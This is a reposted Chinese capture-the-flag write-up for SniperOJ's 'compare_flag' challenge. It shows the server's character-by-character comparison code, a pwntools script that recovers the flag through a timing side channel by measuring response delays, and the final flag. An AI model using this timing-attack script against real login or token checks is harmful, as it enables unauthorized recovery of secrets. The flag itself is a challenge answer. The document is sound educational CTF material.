SniperOj-compare_flag-Writeup

转载

baikeng3674 于 2017-05-29 17:21:00 发布 80 收藏
文章标签： python
原文链接：http://www.cnblogs.com/WangAoBo/p/6918474.html
版权

SniperOj-compare_flag-Writeup

题干如上，只给了一个nc命令，那么连接到服务器如下

有如下的python代码

```
#!/usr/bin/env python

from time import sleep
from flag import flag
import sys

def compare_flag(input_flag):
    length = len(input_flag)
    if(length == 0):
        return False
    if(length > len(flag)):
        return False
    if input_flag.lower() == "exit":
        exit(1)
    for i in range(length):
        if input_flag[i] != flag[i]:
            return False
        sleep(0.25)
    return True


with open(__file__) as f:
    code = list(f)
    for i in code:
        sys.stdout.write(i)
        sys.stdout.flush()

for i in range(0x10000):
    sys.stdout.write("Give me flag:")
    sys.stdout.flush()
    input_flag = raw_input()
    compare_flag(input_flag)


Give me flag:
```

flag文件是保存在服务器上的，一时感觉无从下手，后来参考了**UIUCTF**的一道类似题目，分析如下：

> 该程序会比较输入的字符串与flag的对应位，当当前输入的字符串属于flag的子段时，程序会sleep(0.25)

因此通过观察时间间隔，我们就可以确定当前的字符串与flag的对应位是否相等，写了一个比较的脚本如下

```
import string
import time
import sys
from pwn import *

io = remote('www.sniperoj.cn', 30018)
res = sys.argv[1] if len(sys.argv) > 1 else ''

io.recvuntil('Give me flag:')
io.recvuntil('Give me flag:')
#s = io.recvuntil('flag:')
#print s

for c in "_}"+ string.ascii_letters + string.digits:
    io.sendline(res + c)
    start = time.time()
    io.recvuntil('Give me flag:')
#    s = io.recvline()
#    print s
    end = time.time()
    print c, int((end - start) * 100)

io.close()
```

运行结果与分析

> #根据flag形式，第一次先传入**SniperOJ{**，运行结果如下
>
>
>
> 因此可确定下一位的字符是**c**

> #第二次传入**SniperOJ{c**，运行结果如下
>
>
>
> 因此确定下一位字符为m

多次运行，每次确定一位，最终得到**flag**为***SniperOJ{cmp_flag}***

转载于:https://www.cnblogs.com/WangAoBo/p/6918474.html